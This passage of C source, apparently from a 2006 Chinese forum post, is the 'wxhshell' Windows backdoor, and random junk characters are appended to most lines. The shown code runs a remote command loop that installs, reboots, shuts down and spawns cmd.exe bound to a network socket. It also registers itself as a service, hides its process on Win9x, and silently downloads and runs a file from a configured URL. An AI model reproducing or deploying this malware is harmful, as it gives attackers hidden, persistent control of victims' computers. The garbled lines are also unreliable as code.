      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <"my^  
    break; R[hzMU}KB  
  } 4J/}]Dr5  
  // 安装 4?q <e*W  
  case 'i': { >]vlkA(  
    if(Install()) 2OVRf0.R~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); waj0"u^#  
    else =E#%'/ A;c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2KYw}j|5  
    break; S(*sw 0O@+  
    } %_%Q 8,W  
  // 卸载 .Z `av n  
  case 'r': { hRD=Y<>A  
    if(Uninstall()) U!*M*s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _)>_{Pm  
    else naR0@Q"\h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +{f:cea (1  
    break; \=ux atw  
    } (G;l x  
  // 显示 wxhshell 所在路径 U`NjPZe5^  
  case 'p': { jk[1{I/  
    char svExeFile[MAX_PATH]; _n50C"X=&(  
    strcpy(svExeFile,"\n\r"); sg3OL/"  
      strcat(svExeFile,ExeFile); T^k7o^N>  
        send(wsh,svExeFile,strlen(svExeFile),0); 8h*Icf  
    break; 'R'*kxf  
    } |es?;s'  
  // 重启 PuA9X[=  
  case 'b': { K1+)4!}%U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BMG3|N^  
    if(Boot(REBOOT)) xg;+<iW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YSic-6z0Ms  
    else { lJ}_G>GJ  
    closesocket(wsh); DpvI[r//'*  
    ExitThread(0); L(|N[#  
    } e]$}-i@#  
    break; 1Vrh4g.l  
    } QLvHQtzwX  
  // 关机 J$GUB3 G  
  case 'd': { 1VG4S){}\9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Uyg5i[&X@  
    if(Boot(SHUTDOWN)) ZQ%'`q\c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ~- _kM  
    else { Gi?/C&1T  
    closesocket(wsh); L\xk:j1[  
    ExitThread(0); Ez fN&8E  
    } vyK7I%T'R  
    break; gM u"2I5  
    } t!W(_8j  
  // 获取shell CUBEW~X}M  
  case 's': { zuJ@E=7  
    CmdShell(wsh); KWowN;  
    closesocket(wsh); e478U$  
    ExitThread(0); /'l{E  
    break; `(ue63AZ  
  } _/-jX  
  // 退出 4U+xb>  
  case 'x': { 7vrl'^1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S >X:ZYYC  
    CloseIt(wsh); =S+wCN  
    break; ;o2$ Q  
    } IEsEdw]aZE  
  // 离开 M/>7pZW  
  case 'q': { hKLCJ#T  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |,gc_G  
    closesocket(wsh); 2Mc3|T4)U  
    WSACleanup(); ODNM+#}`  
    exit(1); nYR#  
    break; Wz49i9e+d  
        } [q) 8N  
  } Ln')QN  
  } t{^*6XOcJ  
|ef7bKU8  
  // 提示信息 eTI%^d|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [!HEQ8 2g  
} "GMBjT8  
  } }Gz~nf%  
B}Z63|/N  
  return; MDhRR*CBh  
} |:q=T ~x  
8<S~Z:JK  
// shell模块句柄 lYVz 3p  
int CmdShell(SOCKET sock) dx5#\"KX=,  
{ A&.WH?p  
STARTUPINFO si; Vd,jlt.t  
ZeroMemory(&si,sizeof(si)); ([\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0QXVW}`hz  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "}u.v?HYz  
PROCESS_INFORMATION ProcessInfo;  Ch&a/S}  
char cmdline[]="cmd"; ]'!f28Ng-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0%&1\rm+j  
  return 0; @5=oeOg36  
} vM*-D{  
y~ AVei&  
// 自身启动模式 VRWAm>u  
int StartFromService(void) fHE <(  
{ `<`` 8  
typedef struct :|V$\!o'U  
{ \HxT@UQ)~  
  DWORD ExitStatus; ]qethaNy  
  DWORD PebBaseAddress; [,t*Pfq'W8  
  DWORD AffinityMask; gPNZF\ r  
  DWORD BasePriority; 1an^1!  
  ULONG UniqueProcessId; T! Y@`Ox  
  ULONG InheritedFromUniqueProcessId; R} eN@#"D  
}   PROCESS_BASIC_INFORMATION; kO.%9wFbz  
BZ94NOOdw  
PROCNTQSIP NtQueryInformationProcess; fxgPhnaC>  
4ni<E*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #C~+JL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >BIMi^  
nrL9 E'F'  
  HANDLE             hProcess; |%F=po>w  
  PROCESS_BASIC_INFORMATION pbi; ~P*6ozSYpY  
3m]4=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KyVQh8  
  if(NULL == hInst ) return 0; ocqU=^ta  
g`{;(/M+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  8{wwd:6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9oRy)_5Z(=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /[a~3^Gs^  
q.KG^=10  
  if (!NtQueryInformationProcess) return 0; -[ *,^Ti`  
SN9kFFIPb=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m'Amli@[  
  if(!hProcess) return 0; ''q@>  
O,+1<.;+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $? m9")  
rXmn7;B}g  
  CloseHandle(hProcess); 9oyE$S h]  
04LI]'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <{dVKf,e  
if(hProcess==NULL) return 0; r@72|:,  
Ed0QQyC@9  
HMODULE hMod; _(_a*ml  
char procName[255]; j@W.&- _  
unsigned long cbNeeded; '-r).Xk  
(yu/l 6[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ' KWyx  
;+W# 5<i  
  CloseHandle(hProcess); u!!Y=!y*<  
oz,np@f)J  
if(strstr(procName,"services")) return 1; // 以服务启动 Jv>gwV{  
j#X.KM   
  return 0; // 注册表启动 s [M?as  
} a=1NED'  
N+m)/x =:  
// 主模块 nGpXI\K  
int StartWxhshell(LPSTR lpCmdLine) T}Km?d  
{ xHUsFm s  
  SOCKET wsl; `n#H5Oyn  
BOOL val=TRUE; Pj#<K%Bz  
  int port=0; Gy9$wH@8  
  struct sockaddr_in door; ]mo-rhDsM  
|8&,b`Gfo  
  if(wscfg.ws_autoins) Install(); :Ux?,  
Qi ua  
port=atoi(lpCmdLine); V@B__`y7  
-|J"s$yO4  
if(port<=0) port=wscfg.ws_port; HKU~UTRnZ  
nim*/LC[:  
  WSADATA data; 3p3 9`"~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @KWb+?_H{<  
H35S#+KX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    J}htu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3/aMJR:o  
  door.sin_family = AF_INET; x*![fK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h hG4-HD  
  door.sin_port = htons(port); zO~8?jDN4|  
]p _L)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %=n!Em(  
closesocket(wsl); `Bo*{}E  
return 1; 33o9Yg|J~  
} V^7V[(~`  
bt"W(m&f  
  if(listen(wsl,2) == INVALID_SOCKET) { Ov};e  
closesocket(wsl); Z,RzN5eN  
return 1; O ,J>/  
} 8J=? 5  
  Wxhshell(wsl); .Obw|V-  
  WSACleanup(); udxFz2>_l$  
J5di[nu  
return 0; gi(H]|=a  
NgADKrDU  
} $LKIT0  
~?D4[D|sB  
// 以NT服务方式启动 9)y/:sO<P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dq7x3v^"ZG  
{ bHPYp5UwN  
DWORD   status = 0; CUO+9X-<8  
  DWORD   specificError = 0xfffffff; EqyeJq .  
K-e9>fmB#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; sc|_Q/`\.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z8jk[5z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `{eyvW[Ks  
  serviceStatus.dwWin32ExitCode     = 0; SHvq.lYJ  
  serviceStatus.dwServiceSpecificExitCode = 0; Wl;.%.]>  
  serviceStatus.dwCheckPoint       = 0; 0@ yXi  
  serviceStatus.dwWaitHint       = 0; b o0^3]Z  
" W!M[qBW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,oN8HpGs  
  if (hServiceStatusHandle==0) return; k'gh  
m`IC6*  
status = GetLastError(); U1@IX4^2`  
  if (status!=NO_ERROR) ,R'@%,/  
{ IC#>X5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; IM:=@a{  
    serviceStatus.dwCheckPoint       = 0; |M>eEE*F<  
    serviceStatus.dwWaitHint       = 0; JIOh#VNU  
    serviceStatus.dwWin32ExitCode     = status; \,7f6:  
    serviceStatus.dwServiceSpecificExitCode = specificError;  :l~ I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <:(6EKJAq}  
    return; dA-2%uJ  
  } nIAx2dh?  
8yRJD[/S  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; r>dwDBE  
  serviceStatus.dwCheckPoint       = 0; _9faBrzd  
  serviceStatus.dwWaitHint       = 0; 3,>0a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pwO>h>ik  
} CEXyrs<  
3b*cU}go  
// 处理NT服务事件,比如:启动、停止 &Flglj~7l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dI*pDDq#  
{ t2EHrji~  
switch(fdwControl) <DMl<KZ  
{ vh"R'o  
case SERVICE_CONTROL_STOP: *Nw&_<\9Q  
  serviceStatus.dwWin32ExitCode = 0; /+8JCp   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $iI]MV%=  
  serviceStatus.dwCheckPoint   = 0; $u7; TW6QD  
  serviceStatus.dwWaitHint     = 0; wi hH?~]  
  { .9,zL=)Ba  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6$fHtJD:  
  } m*ISa(#(,  
  return; ]P#XVDn+;  
case SERVICE_CONTROL_PAUSE: H70LhN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8j Mk)-  
  break; %dJX-sm@  
case SERVICE_CONTROL_CONTINUE: U3 */v4/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; nS/)P4z  
  break; m/v9!'cMI  
case SERVICE_CONTROL_INTERROGATE: eKgisY4#  
  break; / rg*p  
}; O>SLOWgha  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =2[7 E  
} L/wD7/ODr  
Ae mDJ8Y  
// 标准应用程序主函数 :Nu^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L~_9_9c  
{ "Weg7mc#  
aJYgzr,  
// 获取操作系统版本 |\QgX%  
OsIsNt=GetOsVer(); >fe- d#!{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'I_Qb$  
6^uq?  
  // 从命令行安装 e&7JpT  
  if(strpbrk(lpCmdLine,"iI")) Install(); NZ ;{t\  
k spTp>~  
  // 下载执行文件 JmPHAUd  
if(wscfg.ws_downexe) { RMX:9aQ3F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) VGtC)mG8)  
  WinExec(wscfg.ws_filenam,SW_HIDE); #~SP)Ukp  
} j2Tr $gx<  
7.C;NT  
if(!OsIsNt) { -cZDG t  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^ s1Q*He  
HideProc(); }-ftyl7  
StartWxhshell(lpCmdLine); HOw -]JSP2  
} XID<(HBA"!  
else q2. XoCf  
  if(StartFromService()) XD|E=s  
  // 以服务方式启动 4$qWiG~  
  StartServiceCtrlDispatcher(DispatchTable); )p T?/ J  
else 9UKp?SIF  
  // 普通方式启动 {S,l_d+(  
  StartWxhshell(lpCmdLine); 0dhF&*h|L  
hJwC~HG5  
return 0; /TZOJE(2j  
}
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只看该作者 1 发表于: 2006-10-10
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